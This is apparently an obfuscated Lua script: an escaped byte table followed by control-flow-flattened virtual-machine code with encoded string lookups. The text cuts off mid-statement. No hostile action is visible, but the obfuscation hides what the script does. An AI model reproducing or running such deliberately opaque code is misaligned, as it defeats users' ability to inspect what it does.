\0\30\0\30\0\0\0\54\1\0\3\139\199\83\15\0\1\8V\0\32\0\39\0\0\0\1\1\8\20\0\0\1\9Z\0\30\0\3\0\0\0\0\0\0\0\156\7\128\1\0\1\9Z\0\29\0\0\0\0\0\2\0\0\0\92\135\0\0\0\0\175\23Z\0\29\0\4\0\0\0\2\0\0\0\92\135\128\0\0\24\0\0\0\1\7Z\0\30\0\29\0\0\0\52\1\0\3\139\71\212\14\0\1\9Z\0\30\0\2\0\0\0\2\0\0\0\156\135\0\1\0\1\7Z\0\31\0\30\0\0\0\68\1\0\3\203\135\84\15\0\1\8V\0\33\0\4\0\0\0\1\65\200\20\0\0\1\9Z\0\31\0\3\0\0\0\2\0\0\0\220\135\128\1\0\1\7Z\0\32\0\30\0\0\0\68\1\0\3\11\136\84\15\0\1\8V\0\34\0\236\0\0\0\1\129\8\0\0\0\1\8V\0\35\0\144\0\0\0\1\193\8\21\0\0\1\9Z\0\32\0\4\0\0\0\2\0\0\0\28\136\0\2\0\1\7Z\0\33\0\30\0\0\0\68\1\0\3\75\136\84\15\0\1\8V\0\35\0\66\0\0\0\1\193\72\21\0\0\1\8V\0\36\0\107\0\0\0\1\1\137\21\0\0\1\9Z\0\33\0\4\0\0\0\2\0\0\0\92\136\0\2\0\1\7Z\0\34\0\30\0\0\0\68\1\0\3\139\136\84\15\0\1\8V\0\36\0\36\0\0\0\1\1\201\21\0\0\1\8V\0\37\0\107\0\0\0\1\65\137\21\0\0\1\9Z\0\34\0\4\0\0\0\2\0\0\0\156\136\0\2\0\1\7Z\0\35\0\31\0\0\0\44\1\0\3\203\8\214\15\0\1\8V\0\37\0\190\0\0\0\1\65\73\22\0\0\1\11Z\0\38\0\15\0\0\0\22\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\22\0\0\0\220\72\0\2\0\1\7Z\0\35\0\32\0\0\0\44\1\0\3\203\8\86\16\0\1\8V\0\37\0\236\0\0\0\1\65\9\0\0\0\0\89\24Z\0\38\0\20\0\0\0\24\0\0\0\130\9\128\0\0\25\0\0\0\1\17Z\0\35\0\4\0\0\0\6\0\0\0\220\72\0\2\0\1\7Z\0\35\0\32\0\0\0\220\1\0\3\203\136\86\16\0\1\8V\0\37\0\224\0\0\0\1\65\9\3\0\0\1\20V\0\38\0\13\0\0\0\0\164\73\3\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\22\0\0\0\220\72\0\2\0\1\7Z\0\35\0\32\0\0\0\13\1\0\3\203\200\86\16\0\1\8V\0\37\0\72\0\0\0\1\65\73\1\0\0\1\8V\0\38\0\99\0\0\0\1\129\137\1\0\0\1\20V\0\39\0\14\0\0\0\0\228\137\3\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\5\0\0\0\6\0\0\0\220\72\128\2\0\1\7Z\0\35\0\32\0\0\0\237\1\0\3\203\8\87\16\0\1\8V\0\37\0\17\0\0\0\1\65\73\0\0\0\1\4Z\0\38\0\4\0\0\0\0\0\0\0\138\9\0\2\0\1\8V\0\39\0\145\0\0\0\1\193\73\23\0\0\1\8V\0\40\0\209\0\0\0\1\1\138\23\0\0\1\8V\0\41\0\146\0\0\0\1\65\202\23\0\0\1\8V\0\42\0\85\0\0\0\1\129\138\0\0\0\0\204\17Z\0\38\0\4\0\0\0\1\0\0\0\162\73\0\2\0\26\0\0\0\1\8V\0\39\0\85\0\0\0\1\193\137\0\0\0\1\20V\0\40\0\15\0\0\0\0\36\202\3\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\6\0\0\0\17\0\0\0\220\72\0\3\0\1\7Z\0\35\0\32\0\0\0\220\1\0\3\203\136\86\16\0\1\8V\0\37\0\61\0\0\0\1\65\9\24\0\0\1\20V\0\38\0\16\0\0\0\0\164\9\4\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\21\0\0\0\220\72\0\2\0\1\7Z\0\35\0\32\0\0\0\220\1\0\3\203\136\86\16\0\1\8V\0\37\0\105\0\0\0\1\65\73\24\0\0\1\20V\0\38\0\17\0\0\0\0\164\73\4\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\21\0\0\0\220\72\0\2\0\1\7Z\0\35\0\32\0\0\0\78\1\0\3\203\136\88\16\0\1\8V\0\37\0\70\0\0\0\1\65\201\24\0\0\1\8V\0\38\0\2\1\0\0\1\129\201\2\0\0\1\8V\0\39\0\1\0\0\0\1\193\201\4\0\0\1\8V\0\40\0\186\0\0\0\1\1\10\25\0\0\1\8V\0\41\0\40\0\0\0\1\65\202\14\0\0\1\20V\0\42\0\18\0\0\0\0\164\138\4\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\8\0\0\0\16\0\0\0\220\72\0\4\0\1\7Z\0\35\0\32\0\0\0\184\1\0\3\203\72\89\16\0\1\8V\0\37\0\5\1\0\0\1\65\137\25\0\0\1\6V\0\38\0\49\0\0\0\1\133\201\25\0\0\1\10Z\0\38\0\38\0\0\0\243\1\0\3\134\9\90\19\0\1\10Z\0\38\0\38\0\0\0\98\1\0\3\134\9\65\19\0\1\20V\0\39\0\19\0\0\0\0\228\201\4\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\5\0\0\0\13\0\0\0\220\72\128\2\0\1\7Z\0\35\0\34\0\0\0\44\1\0\3\203\8\86\17\0\1\8V\0\37\0\229\0\0\0\1\65\73\26\0\0\1\11Z\0\38\0\14\0\0\0\14\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\0\0\0\0\220\72\0\2\0\1\7Z\0\35\0\34\0\0\0\220\1\0\3\203\136\86\17\0\1\8V\0\37\0\224\0\0\0\1\65\9\3\0\0\1\20V\0\38\0\20\0\0\0\0\164\9\5\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\21\0\0\0\220\72\0\2\0\1\7Z\0\35\0\34\0\0\0\220\1\0\3\203\136\86\17\0\1\8V\0\37\0\239\0\0\0\1\65\137\26\0\0\1\20V\0\38\0\21\0\0\0\0\164\73\5\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\13\0\0\0\220\72\0\2\0\1\7Z\0\35\0\34\0\0\0\13\1\0\3\203\200\86\17\0\1\8V\0\37\0\72\0\0\0\1\65\73\1\0\0\1\8V\0\38\0\99\0\0\0\1\129\137\1\0\0\1\20V\0\39\0\22\0\0\0\0\228\137\5\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\5\0\0\0\12\0\0\0\220\72\128\2\0\1\7Z\0\35\0\34\0\0\0\237\1\0\3\203\8\87\17\0\1\8V\0\37\0\17\0\0\0\1\65\73\0\0\0\1\4Z\0\38\0\4\0\0\0\0\0\0\0\138\9\0\2\0\1\8V\0\39\0\145\0\0\0\1\193\73\23\0\0\1\8V\0\40\0\209\0\0\0\1\1\138\23\0\0\1\8V\0\41\0\146\0\0\0\1\65\202\23\0\0\1\8V\0\42\0\85\0\0\0\1\129\138\0\0\0\1\26Z\0\38\0\4\0\0\0\1\0\0\0\162\73\0\2\0\1\8V\0\39\0\85\0\0\0\1\193\137\0\0\0\1\20V\0\40\0\23\0\0\0\0\36\202\5\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\6\0\0\0\1\0\0\0\220\72\0\3\0\1\7Z\0\35\0\34\0\0\0\220\1\0\3\203\136\86\17\0\1\8V\0\37\0\211\0\0\0\1\65\201\26\0\0\1\20V\0\38\0\24\0\0\0\0\164\9\6\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\11\0\0\0\220\72\0\2\0\1\7Z\0\35\0\34\0\0\0\220\1\0\3\203\136\86\17\0\1\8V\0\37\0\242\0\0\0\1\65\9\27\0\0\1\20V\0\38\0\25\0\0\0\0\164\73\6\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\19\0\0\0\220\72\0\2\0\1\7Z\0\35\0\34\0\0\0\78\1\0\3\203\136\88\17\0\1\8V\0\37\0\70\0\0\0\1\65\201\24\0\0\1\8V\0\38\0\2\1\0\0\1\129\201\2\0\0\1\8V\0\39\0\1\0\0\0\1\193\201\4\0\0\1\8V\0\40\0\186\0\0\0\1\1\10\25\0\0\1\8V\0\41\0\40\0\0\0\1\65\202\14\0\0\1\20V\0\42\0\26\0\0\0\0\164\138\6\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\8\0\0\0\20\0\0\0\220\72\0\4\0\1\7Z\0\35\0\34\0\0\0\184\1\0\3\203\72\89\17\0\1\8V\0\37\0\5\1\0\0\1\65\137\25\0\0\1\6V\0\38\0\49\0\0\0\1\133\201\25\0\0\1\10Z\0\38\0\38\0\0\0\243\1\0\3\134\9\90\19\0\1\10Z\0\38\0\38\0\0\0\98\1\0\3\134\9\65\19\0\1\20V\0\39\0\27\0\0\0\0\228\201\6\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\5\0\0\0\13\0\0\0\220\72\128\2\0\1\7Z\0\35\0\34\0\0\0\220\1\0\3\203\136\86\17\0\1\8V\0\37\0\80\0\0\0\1\65\73\27\0\0\1\19V\0\38\0\28\0\0\0\0\164\9\7\0\0\1\17Z\0\35\0\4\0\0\0\0\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\44\1\0\3\203\8\214\16\0\1\8V\0\37\0\185\0\0\0\1\65\137\27\0\0\1\11Z\0\38\0\9\0\0\0\8\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\7\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\220\1\0\3\203\136\214\16\0\1\8V\0\37\0\123\0\0\0\1\65\201\27\0\0\1\20V\0\38\0\29\0\0\0\0\164\73\7\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\4\0\0\0\8\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\78\1\0\3\203\136\216\16\0\1\8V\0\37\0\94\0\0\0\1\65\9\28\0\0\1\8V\0\38\0\200\0\0\0\1\129\201\5\0\0\1\8V\0\39\0\40\0\0\0\1\193\201\14\0\0\1\8V\0\40\0\110\0\0\0\1\1\74\28\0\0\1\8V\0\41\0\65\0\0\0\1\65\138\28\0\0\1\20V\0\42\0\30\0\0\0\0\164\138\7\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\8\0\0\0\16\0\0\0\220\72\0\4\0\1\7Z\0\35\0\33\0\0\0\184\1\0\3\203\72\217\16\0\1\8V\0\37\0\120\0\0\0\1\65\201\28\0\0\1\6V\0\38\0\49\0\0\0\1\133\201\25\0\0\1\10Z\0\38\0\38\0\0\0\243\1\0\3\134\9\90\19\0\1\10Z\0\38\0\38\0\0\0\132\1\0\3\134\73\70\19\0\1\20V\0\39\0\31\0\0\0\0\228\201\7\0\0\1\21Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17Z\0\35\0\5\0\0\0\9\0\0\0\220\72\128\2\0\1\7Z\0\35\0\33\0\0\0\44\1\0\3\203\8\214\16\0\1\8V\0\37\0\119\0\0\0\1\65\9\29\0\0\1\11Z\0\38\0\1\0\0\0\14\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\24\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\220\1\0\3\203\136\214\16\0\1\8V\0\37\0\119\0\0\0\1\65\9\29\0\0\1\19V\0\38\0\32\0\0\0\0\164\9\8\0\0\1\17Z\0\35\0\4\0\0\0\22\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\78\1\0\3\203\136\216\16\0\1\8V\0\37\0\221\0\0\0\1\65\73\29\0\0\1\8V\0\38\0\200\0\0\0\1\129\201\5\0\0\1\8V\0\39\0\1\0\0\0\1\193\201\4\0\0\1\8V\0\40\0\110\0\0\0\1\1\74\28\0\0\1\8V\0\41\0\65\0\0\0\1\65\138\28\0\0\1\19V\0\42\0\33\0\0\0\0\164\74\8\0\0\1\17Z\0\35\0\8\0\0\0\1\0\0\0\220\72\0\4\0\1\7Z\0\35\0\33\0\0\0\237\1\0\3\203\8\215\16\0\1\8V\0\37\0\67\0\0\0\1\65\137\29\0\0\1\4Z\0\38\0\2\0\0\0\0\0\0\0\138\9\0\1\0\1\8V\0\39\0\202\0\0\0\1\193\201\29\0\0\1\8V\0\40\0\111\0\0\0\1\1\10\30\0\0\1\26Z\0\38\0\2\0\0\0\1\0\0\0\162\73\0\1\0\1\8V\0\39\0\202\0\0\0\1\193\201\29\0\0\1\19V\0\40\0\34\0\0\0\0\36\138\8\0\0\1\17Z\0\35\0\6\0\0\0\17\0\0\0\220\72\0\3\0\1\7Z\0\35\0\33\0\0\0\184\1\0\3\203\72\217\16\0\1\8V\0\37\0\149\0\0\0\1\65\73\30\0\0\1\6V\0\38\0\49\0\0\0\1\133\201\25\0\0\1\10Z\0\38\0\38\0\0\0\243\1\0\3\134\9\90\19\0\1\10Z\0\38\0\38\0\0\0\212\1\0\3\134\201\67\19\0\1\19V\0\39\0\35\0\0\0\0\228\201\8\0\0\1\17Z\0\35\0\5\0\0\0\4\0\0\0\220\72\128\2\0\1\7Z\0\35\0\33\0\0\0\44\1\0\3\203\8\214\16\0\1\8V\0\37\0\148\0\0\0\1\65\137\30\0\0\1\11Z\0\38\0\12\0\0\0\4\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\5\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\27\0\0\0\1\65\9\31\0\0\1\19V\0\38\0\36\0\0\0\0\164\9\9\0\0\1\17Z\0\35\0\4\0\0\0\8\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\38\0\0\0\1\65\73\31\0\0\1\19V\0\38\0\37\0\0\0\0\164\73\9\0\0\1\17Z\0\35\0\4\0\0\0\0\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\191\0\0\0\1\65\137\31\0\0\1\19V\0\38\0\38\0\0\0\0\164\137\9\0\0\1\17Z\0\35\0\4\0\0\0\23\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\74\0\0\0\1\65\201\31\0\0\1\19V\0\38\0\39\0\0\0\0\164\201\9\0\0\1\17Z\0\35\0\4\0\0\0\22\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\44\1\0\3\203\8\214\16\0\1\8V\0\37\0\79\0\0\0\1\65\9\32\0\0\1\11Z\0\38\0\4\0\0\0\4\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\16\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\161\0\0\0\1\65\73\32\0\0\1\19V\0\38\0\40\0\0\0\0\164\9\10\0\0\1\17Z\0\35\0\4\0\0\0\11\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\44\1\0\3\203\8\214\16\0\1\8V\0\37\0\181\0\0\0\1\65\201\9\0\0\1\11Z\0\38\0\12\0\0\0\13\0\0\0\130\9\0\0\0\1\17Z\0\35\0\4\0\0\0\17\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\134\0\0\0\1\65\137\32\0\0\1\19V\0\38\0\41\0\0\0\0\164\73\10\0\0\1\17Z\0\35\0\4\0\0\0\21\0\0\0\220\72\0\2\0\1\7Z\0\35\0\33\0\0\0\252\1\0\3\203\200\222\16\0\1\8V\0\37\0\142\0\0\0\1\65\201\32\0\0\1\19V\0\38\0\42\0\0\0\0\164\137\10\0\0\1\17Z\0\35\0\4\0\0\0\11\0\0\0\220\72\0\2\0\0\225\5Z\0\2\0\2\0\0\0\0\0\0\0\30\0\128\0\0\27\0\0\0\2"do if(b[k]==nil)then return(function()do while d~=c do a=j(a,1,#a-1)..(b[1909282])end end end)()end end ;local a={[(b[7379284])]=function()return(function()local a,c=o(79,99)do if a then n()return(b[3123139])or c end end ;return n()and(b[2165149])end)()end,[(b[1735519])]=function()return(b[2165149])end}local function d(a)if p(a,true,5365109)or u(p(z(s),nil,(b[5979149])),(b[9276725]))then return n()end end;local k=m({},a)local n=function(a,b)local c,d=1,0;do while a>0 and b>0 do local e,f=a%2,b%2;do if e~=f then d=d+c end end ;a,b,c=(a-e)/2,(b-f)/2,c*2 end end ;do if a<b then a=b end end ;while a>0 do local b=a%2;do if b>0 then d=d+c end end ;a,c=(a-b)/2,c*2 end;return d end;local n={}do for a=1,q(64,4,3647149)do n[a]=e(q(a,1,8986428))end end ;local function u(a,b)local c,d=1,h;while p(h,a,8493765)and p(h,b,8493765)do local e,f=q(a,2,9364006),q(b,2,9364006)b=(b-f)/2;d=e~=f and(d+c)or d;a=(a-e)/2;c=c*2 end;a=a<b and b or a;while p(h,a,8493765)do local b=q(a,2,9364006)d=b>h and(d+c)or d;c=c*2;a=(a-b)/2 end;return d end;local p;local q=(function(a,...)return a and J end)((b[486093]))local r=r((b[2165149]),e(),9139765)do local a=85.45868090538846;local c=871;local d=24.918320666776665;local e={}repeat do if((d==2.6978123858464427)and(a==282.0623081835416)and(e[573]==false)and(e[91]==(b[3450356]))and(e[957]==(b[7313550])))and(c+446==1339)then d=24.918320666776665;c=871;a=85.45868090538846 end end ;do if((d==582.5310868417015)and(a==374.9382563168947)and(e[573]==false)and(e[91]==(b[4752401]))and(e[957]==(b[7929574])))and(c+34==102)then e[957]=(b[5152716])a=129.9187526660343;e[91]=(b[2920898])E=function(a,...)return p(a,q,...)end;c=982;e[573]=false;d=431.6780988882215 end end ;do if(c+0==0)and((d==97.31282132951759)and(a==650.9189126363602)and(e[573]==false)and(e[91]==(b[7219716]))and(e[957]==(b[3005948])))then e[957]=(b[7929574])c=68;e[573]=false;p=function(a,b)local c=""t(1,l(a),function(d)c=c..s[u(f(a,d),b)]end)return c end;a=374.9382563168947;e[91]=(b[4752401])d=582.5310868417015 end end ;do if(c*98==96236)then do if((d==431.6780988882215)and(a==129.9187526660343)and(e[573]==false)and(e[91]==(b[2920898]))and(e[957]==(b[5152716])))and(c+491==1473)then break end end end end ;if(c*87==75777)then while(c+435==1306)and((d==24.918320666776665)and(a==85.45868090538846))do d=97.31282132951759;c=0;e[957]=(b[3005948])a=650.9189126363602;e[91]=(b[7219716])e[573]=false;break end end until(false)end;local n={[0]=function()end,[1]=function()do while E~=nil do n[759.9350305610093]=828.78261654012 end end ;return{0.4774423151277558}end}local p=nil(n)[3]=(n[1]) ;(n)[0]()local function n(e,j,o,p,q)local r;local v=(b[3592950])local v;local w=(b[7732212])local w;local x;local y;local z;do for a in d do break end end ;local E;local G;local I=false;local J;local L;local M=(b[9777425])local M;do if((e~=h and j~=(b[1578221]))and e~=(b[3460004]))then do while(e~=h)do j=(b[6789364])end end elseif(e==h and j==(b[1578221]))then I=true end end ;local e=4040;local N=4474;while(e<N)do N=e-8948;r=I and(o)or({})end;do local a=82;local d=220.00488857150782;local e=262.51619673370345;local f={}repeat do while(a+165==496)and((d==96.42168282021036)and(e==606.2457423200906)and(f[615]==false)and(f[732]==(b[8586267]))and(f[271]==(b[3620739])))do e=437.9137342893295;a=221;E=I and(r[(b[1381338])])or(1)f[271]=(b[5140199])f[615]=false;d=14.995522382284252;f[732]=(b[4568903])break end end ;do if(a*73==53728)then while(a+368==1104)and((d==190.3079770605852)and(e==234.04769996945262)and(f[615]==false)and(f[732]==(b[6308153]))and(f[271]==(b[8329070])))do e=622.8628844773403;z=(I==true and p)or(I==false and q or c())or{}f[271]=(b[3278461])f[732]=(b[1438682])a=850;f[615]=false;d=256.98022062306086;break end end end ;if((d==362.4894010942989)and(e==154.57183260188089)and(f[615]==false)and(f[732]==(b[4411441]))and(f[271]==(b[9633818])))and(a+45==135)then f[271]=(b[3620739])x=I and q or{}f[615]=false;e=606.2457423200906;a=331;f[732]=(b[8586267])d=96.42168282021036 end;do if(a*48==23376)then do while((d==101.43825320497596)and(e==131.9499640647343)and(f[615]==false)and(f[732]==(b[9732194]))and(f[271]==(b[463312])))and(a+243==730)do a=736;f[615]=false;f[271]=(b[8329070])e=234.04769996945262;d=190.3079770605852;r[(b[7197484])]=I and(r[(b[7197484])])or(o)f[732]=(b[6308153])break end end end end ;while((d==306.72605895171773)and(e==138.33228771477624)and(f[615]==false)and(f[732]==(b[8821636]))and(f[271]==(b[5055402])))and(a+246==739)do d=220.00488857150782;e=262.51619673370345;a=82;break end;do if(a*43==18619)then do if(a+216==649)and((d==74.20997526503699)and(e==13.87492298002554)and(f[615]==false)and(f[732]==(b[5939460]))and(f[271]==(b[7159694])))then d=362.4894010942989;f[271]=(b[9633818])f[732]=(b[4411441])f[615]=false;M=I and(r[(b[1846690])])or(h)a=90;e=154.57183260188089 end end end end ;do while((d==220.00488857150782)and(e==262.51619673370345))and(a+41==123)do f[271]=(b[9215562])f[615]=false;e=28.20616872170571;a=0;f[732]=(b[4500137])d=516.6998602468199;break end end ;if(a*90==81450)then if(a+452==1357)and((d==195.51263674060718)and(e==231.96295528033974)and(f[615]==false)and(f[732]==(b[6571315]))and(f[271]==(b[5875350])))then d=52.962111145066636;f[615]=false;a=490;v=false;f[732]=(b[9714059])e=118.97337144319988;f[271]=(b[8511312])end end;do if(a*85==72250)then do if(a+425==1275)and((d==256.98022062306086)and(e==622.8628844773403)and(f[615]==false)and(f[732]==(b[1438682]))and(f[271]==(b[3278461])))then break end end end end ;while(a+110==331)and((d==14.995522382284252)and(e==437.9137342893295)and(f[615]==false)and(f[732]==(b[4568903]))and(f[271]==(b[5140199])))do d=195.51263674060718;a=905;f[271]=(b[5875350])f[732]=(b[6571315])w=I and({})or(j)f[615]=false;e=231.96295528033974;break end;do if(a*0==0)then if(a+0==0)and((d==516.6998602468199)and(e==28.20616872170571)and(f[615]==false)and(f[732]==(b[4500137]))and(f[271]==(b[9215562])))then f[615]=false;a=433;L=(1)d=74.20997526503699;f[732]=(b[5939460])e=13.87492298002554;f[271]=(b[7159694])end end end ;if(a*49==24010)then while((d==52.962111145066636)and(e==118.97337144319988)and(f[615]==false)and(f[732]==(b[9714059]))and(f[271]==(b[8511312])))and(a+245==735)do y={}f[615]=false;d=101.43825320497596;a=487;e=131.9499640647343;f[271]=(b[463312])f[732]=(b[9732194])break end end until(false)end;local a={[(b[94391])]=function(c,e,f,h,i,j)if(I~=true and v)then return F((b[240505]))end;do if(G==(b[2325263]))then if(J)then local a=3423;local c=2682;while(a>(c-12))do c=(a+4488)*2;while(a<c)do c=a-31644;do while(a>(c-11))do c=(a+3575)*2;local a={[(b[8971289])]=J}do local c=353.2807826871058;local d=205.23752643912871;local f=62;local g={}do while(true)do do while((d==36.63818294745187)and(c==113.14615649738613)and(g[898]==false)and(g[950]==(b[9030121]))and(g[631]==(b[7551569])))and(f+310==931)do f=780;d=252.54489284022685;g[898]=false;c=1.9445228775707015;g[950]=(b[9086596])g[631]=(b[878715])a[-3467]=e[-3467]break end end ;do while(f+246==739)and((d==225.55992939884152)and(c==589.5859191020892)and(g[898]==false)and(g[950]==(b[5610867]))and(g[631]==(b[7751794])))do g[631]=(b[3248095])d=48.14531061510589;g[898]=false;f=378;c=263.5496416610955;g[950]=(b[6320467])a[1952]=e[1952]break end end ;if(f*0==0)then if(f+0==0)and((d==17.93460887258779)and(c==160.82379000766295)and(g[898]==false)and(g[950]==(b[1493562]))and(g[631]==(b[5286408])))then g[950]=(b[5610867])a[(b[8887677])]=e[(b[8887677])]f=493;d=225.55992939884152;g[631]=(b[7751794])g[898]=false;c=589.5859191020892 end end;do if(f+390==1170)and((d==252.54489284022685)and(c==1.9445228775707015)and(g[898]==false)and(g[950]==(b[9086596]))and(g[631]==(b[878715])))then break end end ;do if((d==311.19905978048763)and(c==88.49353952706056)and(g[898]==false)and(g[950]==(b[9818925]))and(g[631]==(b[183830])))and(f+82==246)then f=621;c=113.14615649738613;d=36.63818294745187;a[4302]=e[4302]g[631]=(b[7551569])g[898]=false;g[950]=(b[9030121])end end ;do while((d==205.23752643912871)and(c==353.2807826871058))and(f+31==93)do f=0;d=17.93460887258779;g[898]=false;c=160.82379000766295;g[950]=(b[1493562])g[631]=(b[5286408])break end end ;if(f*37==13986)then if((d==48.14531061510589)and(c==263.5496416610955)and(g[898]==false)and(g[950]==(b[6320467]))and(g[631]==(b[3248095])))and(f+189==567)then c=72.25994075046128;g[631]=(b[8533578])g[950]=(b[7637505])r[(b[2148924])][E]=a;f=113;d=11.828854930825228;g[898]=false end end;do if(f*95==90630)then while(f+477==1431)and((d==533.8171761810954)and(c==153.5864067110663)and(g[898]==false)and(g[950]==(b[1700457]))and(g[631]==(b[2250561])))do f=62;d=205.23752643912871;c=353.2807826871058;break end end end ;if(f*11==1243)then if((d==11.828854930825228)and(c==72.25994075046128)and(g[898]==false)and(g[950]==(b[7637505]))and(g[631]==(b[8533578])))and(f+56==169)then d=311.19905978048763;c=88.49353952706056;g[631]=(b[183830])a[(b[7869890])]=e[(b[7869890])]g[950]=(b[9818925])f=164;g[898]=false end end end end end end end ;do if(6846-a)<(c+3463)then a=((c+3423)*2)E=E+1 end end end;do if a>(c-69676)then c=(a+6846)J=nil end end end else do local a={}local c=203.7721139573964;local d=194;local f=27.11547471540918;repeat do while(d+0==0)and((f==369.30402306203365)and(c==374.8321468314052)and(a[570]==false)and(a[540]==(b[1329028]))and(a[524]==(b[5276918])))do a[540]=(b[3627102])J=e;f=90.16452026155055;a[570]=false;d=369;c=804.2667715700193;a[524]=(b[4097959])break end end ;do if(d*36==13284)then if(d+184==553)and((f==90.16452026155055)and(c==804.2667715700193)and(a[570]==false)and(a[540]==(b[3627102]))and(a[524]==(b[4097959])))then break end end end ;if(d*19==3686)then do while(d+97==291)and((f==27.11547471540918)and(c==203.7721139573964))do d=0;c=374.8321468314052;a[524]=(b[5276918])a[570]=false;f=369.30402306203365;a[540]=(b[1329028])break end end end;if((f==44.245383663078776)and(c==411.2277030419959)and(a[570]==false)and(a[540]==(b[3397095]))and(a[524]==(b[8843624])))and(d+404==1213)then c=203.7721139573964;d=194;f=27.11547471540918 end until(false)end end elseif(G==(b[2009893]))then local c;do local a={}local d=526;local e=162.26421460324278;local f=584.8599960160908;repeat do if(d*52==27352)then do if((f==584.8599960160908)and(e==162.26421460324278))and(d+263==789)then e=374.02312553929573;f=329.17480019399073;d=0;a[949]=(b[7298288])a[284]=(b[6247940])a[882]=false end end end end ;do while((f==144.7987950477432)and(e==795.3418842461991)and(a[882]==false)and(a[284]==(b[1452330]))and(a[949]==(b[630673])))and(d+235==706)do f=584.8599960160908;d=526;e=162.26421460324278;break end end ;do if(d*59==35341)then if(d+299==898)and((f==8.527232688035879)and(e==78.61817124969048)and(a[882]==false)and(a[284]==(b[7005144]))and(a[949]==(b[2351774])))then break end end end ;do if(d*0==0)then while(d+0==0)and((f==329.17480019399073)and(e==374.02312553929573)and(a[882]==false)and(a[284]==(b[6247940]))and(a[949]==(b[7298288])))do a[882]=false;c=r[(b[5438370])][M-1]e=78.61817124969048;a[284]=(b[7005144])a[949]=(b[2351774])f=8.527232688035879;d=599;break end end end until(false)end;do if(e==nil and g(c)==(b[1056012]))then local d=6626;local e=336;while(d>(e-11))do e=(d+3639)*2;r[(b[5438370])][M-1]=m({H(c)},a)end elseif(g(e)==(b[3731642])and e[(b[8570066])]==true)then do local a=375.5597618097123;local c={}local d=118;local f=33.434276102958265;while(true)do do if((a==393.54528733473796)and(f==19.86105680223581)and(c[132]==false)and(c[445]==(b[9148107]))and(c[217]==(b[7581007])))and(d+0==0)then a=387.2495538194572;r[(b[5438370])][M]=e;c[217]=(b[5091121])c[445]=(b[5024614])d=621;f=46.3856165192226;c[132]=false end end ;do if((a==387.2495538194572)and(f==46.3856165192226)and(c[132]==false)and(c[445]==(b[5024614]))and(c[217]==(b[5091121])))and(d+310==931)then c[217]=(b[3960320])a=139.3589876958943;c[445]=(b[4183326])d=119;M=M+1;c[132]=false;f=77.82264880650706 end end ;do if((a==941.764708087059)and(f==595.3970431079711)and(c[132]==false)and(c[445]==(b[2632639]))and(c[217]==(b[857765])))and(d+147==441)then d=118;a=375.5597618097123;f=33.434276102958265 end end ;do if(d*11==1298)then do while((a==375.5597618097123)and(f==33.434276102958265))and(d+59==177)do c[445]=(b[9148107])d=0;f=19.86105680223581;a=393.54528733473796;c[217]=(b[7581007])c[132]=false;break end end end end ;if(d*11==1309)then do if(d+59==178)and((a==139.3589876958943)and(f==77.82264880650706)and(c[132]==false)and(c[445]==(b[4183326]))and(c[217]==(b[3960320])))then break end end end end end elseif(g(e)==(b[3731642]))then local a=3680;local c=2745;do while(a>(c-12))do c=(a+4577)*2;do while(a<c)do c=a-33028;r[(b[5438370])][M]=e[1]or nil end end ;do if a>(c-7360)then 